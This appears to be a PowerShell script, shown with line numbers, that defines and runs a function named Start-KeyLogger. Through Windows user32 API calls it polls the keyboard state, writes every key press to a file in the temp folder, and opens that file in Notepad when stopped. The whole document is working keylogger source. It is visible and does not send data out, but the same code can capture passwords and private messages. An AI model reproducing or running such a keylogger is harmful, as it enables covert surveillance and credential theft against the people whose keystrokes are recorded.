jJq3JpbK

1#requires -Version 2 
2function Start-KeyLogger($Path="$env:temp\keylogger.txt") 
3{
4  # Signatures for API Calls
5  $signatures = @'
6[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
7public static extern short GetAsyncKeyState(int virtualKeyCode); 
8[DllImport("user32.dll", CharSet=CharSet.Auto)]
9public static extern int GetKeyboardState(byte[] keystate);
10[DllImport("user32.dll", CharSet=CharSet.Auto)]
11public static extern int MapVirtualKey(uint uCode, int uMapType);
12[DllImport("user32.dll", CharSet=CharSet.Auto)]
13public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
14'@ 
15 
16  # load signatures and make members available
17  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
18    
19  # create output file
20  $null = New-Item -Path $Path -ItemType File -Force
21 
22  try
23  {
24    Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
25 
26    # create endless loop. When user presses CTRL+C, finally-block
27    # executes and shows the collected key presses
28    while ($true) {
29      Start-Sleep -Milliseconds 40
30      
31      # scan all ASCII codes above 8
32      for ($ascii = 9; $ascii -le 254; $ascii++) {
33        # get current key state
34        $state = $API::GetAsyncKeyState($ascii)
35 
36        # is key pressed?
37        if ($state -eq -32767) {
38          $null = [console]::CapsLock
39 
40          # translate scan code to real code
41          $virtualKey = $API::MapVirtualKey($ascii, 3)
42 
43          # get keyboard state for virtual keys
44          $kbstate = New-Object Byte[] 256
45          $checkkbstate = $API::GetKeyboardState($kbstate)
46 
47          # prepare a StringBuilder to receive input key
48          $mychar = New-Object -TypeName System.Text.StringBuilder
49 
50          # translate virtual key
51          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
52 
53          if ($success) 
54          {
55            # add key to logger file
56            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
57          }
58        }
59      }
60    }
61  }
62  finally
63  {
64    # open logger file in Notepad
65    notepad $Path
66  }
67}
68 
69# records all key presses until script is aborted by pressing CTRL+C 
70# will then open the file with collected key codes 
71Start-KeyLogger